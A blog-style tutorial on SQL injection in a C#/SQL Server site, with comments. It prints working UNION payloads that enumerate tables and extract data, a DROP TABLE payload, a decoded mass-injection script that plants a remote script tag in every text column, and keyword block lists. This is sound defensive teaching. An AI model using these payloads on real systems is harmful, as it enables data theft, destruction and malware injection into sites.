SQL Injection
What is SQL Injection? Here is the definition from Wikipedia (http://en.wikipedia.org/wiki/SQL_injection):
“SQL injection is a code injection technique that exploits a security vulnerability occurring in the database layer of an application. The vulnerability is present when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and thereby unexpectedly executed. It is an instance of a more general class of vulnerabilities that can occur whenever one programming or scripting language is embedded inside another. SQL injection attacks are also known as SQL insertion attacks.”
Why another article on SQL Injection? Because no matter how much is written about it, developers still produce code that is susceptible to SQL injection attacks. The following is a dissection of a typical Web site vulnerable to SQL injection, with step by step example of what could happen, and protection methods.
Disclaimer: before even starting, it is important to emphasize – the solution to SQL injection is parameterization! Period! But… what if the client API does not support parameterization? Or the project is so large that changing all occurrences of bad code can result in massive code rewrite which may not be feasible at the moment? This is where some methods like string filtering fit in.
The example in this article uses the SQL Server sample database AdventureWorks (http://www.codeplex.com/SqlServerSamples).
Let’s start with a very trivial example of product search. The implementation is in C#:
string cmdStr = @"SELECT Name, ProductNumber, Color
FROM Production.Product
WHERE Name LIKE '%" + SearchText.Text + "%'";
using (SqlConnection conn = new SqlConnection(connStr))
using (SqlDataAdapter sda = new SqlDataAdapter(cmdStr, conn))
{
DataTable dtProducts = new DataTable();
sda.Fill(dtProducts);
return dtProducts.DefaultView;
}
How simple and innocent! A couple lines of code and our search function is done. We simply let the user type any search criteria and create a dynamic query to search all products.
A good user may type “ball” in the search text box and get the following results:
Name ProductNumber Color
------------------- --------------- -------
BB Ball Bearing BE-2349
Bearing Ball BA-8327
Headset Ball Bearings BE-2908
But here comes someone who has not so good intentions. Instead of searching for “ball”, the bad guy may type:
ZZZ' UNION SELECT name, CAST(id AS VARCHAR(10)), '' FROM sysobjects WHERE xtype ='U' --
Clever! The guy noted on the original search that there are three columns returned and formed a query to union all user tables from the current database to the result set. First, the value ZZZ is added as search criteria, then the query to extract the user tables is injected, and finally the comment section at the end trims the reminder of the original query. Now the result looks as follows:
Name ProductNumber Color
----------------- ---------------- -------
Address 53575229
AddressType 101575400
AWBuildVersion 149575571
BillOfMaterials 181575685
Contact 309576141
ContactCreditCard 405576483
ContactType 437576597
Once the user tables are known, then next step could be the following search string:
ZZZ' UNION SELECT COLUMN_NAME, DATA_TYPE, TABLE_SCHEMA FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = 'Address' --
This time the search results return the columns information for the Address user table:
Name ProductNumber Color
---------------- ---------------- --------
AddressID int Person
AddressLine1 nvarchar Person
AddressLine2 nvarchar Person
City nvarchar Person
ModifiedDate datetime Person
PostalCode nvarchar Person
rowguid uniqueidentifier Person
StateProvinceID int Person
Going one step further, the malicious user can start extracting data:
ZZZ' UNION SELECT AddressLine1, City, PostalCode FROM Person.Address --
This results in listing the address data from the Address table:
Name ProductNumber Color
----------------------------- --------------------- --------
#500-75 O'Connor Street Ottawa K4B 1S2
#9900 2700 Production Way Burnaby V5A 4X1
00, rue Saint-Lazare Dunkerque 59140
02, place de Fontenoy Verrieres Le Buisson 91370
035, boulevard du Montparnasse Verrieres Le Buisson 91370
So far the SQL injection attacker has been only exploring data. But things can get really unpleasant if the attacker starts updating or deleting data. Or even dropping tables. The following search text will drop a table with credit card info (if it exists):
ZZZ'; DROP TABLE CreditCardInfo --
All this should convince every developer that SQL injection is a very serious threat that should not be taken lightly.
Solutions
Handling SQL injection can be done both on the client and the server side. The following techniques will demonstrate how to accomplish that.
Client Side Filtering
The client APIs normally provide a variety of methods to filter the user input. It could include using regular expressions, limiting the size of the search arguments, filtering for dangerous keywords, etc. Here is example of creating a black list of keywords that will be filtered from the user input:
public static string[] blackList =
{"--",";--",";","/*","*/","@@","@",
"char","nchar","varchar","nvarchar",
"alter","begin","cast","create","cursor",
"declare","delete","drop","end","exec","execute",
"fetch","insert","kill","open",
"select", "sys","sysobjects","syscolumns",
"table","update"};
private bool CheckInput(string SearchText)
{
for (int i = 0; i < blackList.Length; i++)
{
if ((SearchText.IndexOf(blackList[i],
StringComparison.OrdinalIgnoreCase) >= 0))
{
HttpContext.Current.Response.Redirect("~/Error.aspx");
return false;
}
}
return true;
}
The CheckInput function verifies the user input for any of the words on the black list and if found redirects to an error page. Then the search function looks like this:
string cmdStr = @"SELECT Name, ProductNumber, Color
FROM Production.Product
WHERE Name LIKE '%" + SearchText.Text + "%'";
if(CheckInput(SearchText.Text))
{
using (SqlConnection conn = new SqlConnection(connStr))
using (SqlDataAdapter sda = new SqlDataAdapter(cmdStr, conn))
{
DataTable dtProducts = new DataTable();
sda.Fill(dtProducts);
return dtProducts.DefaultView;
}
}
else
{
DataTable dtProducts = new DataTable();
return dtProducts.DefaultView;
}
Parameterization
Most client APIs (including .NET) support parameterization of queries. This allows embedding the user input as parameters. The parameters are placeholders for user entered value which is replaced at execution time. That way the user cannot inject SQL code as the whole user entry is treated as value for the parameter, not as string appended to the query. Again, parameterization is the best solution for SQL injection attacks.
Here is how the same search code will look like with parameterized query (for simplicity here we use a query, but this could be a stored procedure):
string cmdStr = @"SELECT Name, ProductNumber, Color
FROM Production.Product
WHERE Name LIKE '%' + @SearchText + '%'";
using (SqlConnection conn = new SqlConnection(connStr))
using (SqlDataAdapter sda = new SqlDataAdapter(cmdStr, conn))
{
DataTable dtProducts = new DataTable();
SqlParameter parm = sda.SelectCommand.Parameters.Add("@SearchText",
SqlDbType.VarChar, 50);
parm.Value = SearchText.Text;
sda.Fill(dtProducts);
return dtProducts.DefaultView;
}
Attempts to enter the same malicious search text will result in to output as there is no product with such name.
Server Side Filtering
Filtering can be implemented on the server side, very similar to the client side black list. Here is a fragment of code that can be added to be beginning of stored procedures to verify the search string entered by the user:
IF UPPER(@SearchText) LIKE UPPER(N'%0x%')
OR UPPER(@SearchText) LIKE UPPER(N'%;%')
OR UPPER(@SearchText) LIKE UPPER(N'%''%')
OR UPPER(@SearchText) LIKE UPPER(N'%--%')
OR UPPER(@SearchText) LIKE UPPER(N'%/*%*/%')
OR UPPER(@SearchText) LIKE UPPER(N'%EXEC %')
OR UPPER(@SearchText) LIKE UPPER(N'%xp[_]%')
OR UPPER(@SearchText) LIKE UPPER(N'%sp[_]%')
OR UPPER(@SearchText) LIKE UPPER(N'%SELECT %')
OR UPPER(@SearchText) LIKE UPPER(N'%INSERT %')
OR UPPER(@SearchText) LIKE UPPER(N'%UPDATE %')
OR UPPER(@SearchText) LIKE UPPER(N'%DELETE %')
OR UPPER(@SearchText) LIKE UPPER(N'%TRUNCATE %')
OR UPPER(@SearchText) LIKE UPPER(N'%CREATE %')
OR UPPER(@SearchText) LIKE UPPER(N'%ALTER %')
OR UPPER(@SearchText) LIKE UPPER(N'%DROP %')
BEGIN
RAISERROR('Possible SQL Injection attempt.', 16, 1);
RETURN;
END
Of course, ultimately the search can be implemented as stored procedure using a parameter, and without dynamic SQL:
CREATE PROCEDURE ProductSearch
@SearchText VARCHAR(200)
AS
SELECT Name, ProductNumber, Color
FROM Production.Product
WHERE Name LIKE '%' + @SearchText + '%';
Secondary Injection Attacks
Recently there has been a new wave of SQL injection attacks. Those utilize a delayed action technique. The way to exploit the web site is the same – looking for any non-parameterized and non-filtered queries and injection a portion of code that will be executed by SQL Server. However, in this attack the code simply loops through all user tables and inserts some HTML or JavaScript code to all string columns. This has dual effect – you data is no longer what you think it is, and then if this data is used to be displayed on a Web page then the HTML or JavaScript code will become part of your Web page.
Here are the steps to illustrate this. Normally attackers search for URLs that pass user input directly via an URL query string. That makes is very easy to inject SQL code as part of the URL. It could look like this (abbreviated):
DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0x440045004300...7200%20AS%20NVARCHAR(4000));EXEC(@S);--
After the encoding is removed and the string is passed to SQL Server, it looks like this:
DECLARE @S NVARCHAR(4000);
SET @S=CAST(0x440045004300...7200 AS NVARCHAR(4000));
EXEC(@S);--
Decoding the hex value reveals the actual SQL code that will be executed:
DECLARE @T varchar(255),@C varchar(255)
DECLARE Table_Cursor CURSOR FOR
select a.name,b.name from sysobjects a,syscolumns b
where a.id=b.id and a.xtype='u' and
(b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0) BEGIN
exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar,['+@C+
']))+''<script src=http://www.211796*.net/f****p.js></script>''')
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor
In short, the script loops though all tables in the database and looks for string columns, and then appends the HTML or JavaScript code.
One very unpleasant effect of this attack is that normally pages with such content are treated by major search engines as treats, and are very likely to me considered malicious and removed from indexes.
The same techniques described earlier can be used to prevent secondary SQL injection attacks.
Tools
Here are some tools that can be used to help with SQL Injection attacks:
– Microsoft Source Code Analyzer for SQL Injection
New static analysis tool that identifies SQL injection vulnerabilities in ASP source code and suggests fixes. Enables customers to address the vulnerability at the source.
http://support.microsoft.com/kb/954476
– URLScan 3.0
Updated version of the IIS tool that acts as a site filter by blocking specific HTTP requests. Can be used to block malicious requests used in this attack.
http://learn.iis.net/page.aspx/473/using-urlscan
– Scrawlr
New scanning tool from Hewlett Packard that scans websites looking for SQL injection vulnerabilities in URL parameters. http://www.communities.hp.com/securitysoftware/blogs/spilabs/archive/2008/06/24/finding-sql-injection-with-scrawlr.aspx
– SQLInjectionFinder
Tool to help determine .asp pages targeted by recent SQL Injection attacks.
http://www.codeplex.com/Release/ProjectReleases.aspx?ProjectName=WSUS&ReleaseId=13436
Here is another approach that uses derived table to avoid sql injection. Refer this for more details
http://beyondrelational.com/blogs/madhivanan/archive/2010/05/14/derived-table-new-approach-to-avoid-sql-injection.aspx
Great article, very pedagogical. Thanks!
I really liked your entry about manually sql injection attack, unfortunelly i got stucked at the LAST step 🙁 always something caused by ModSecurity 🙁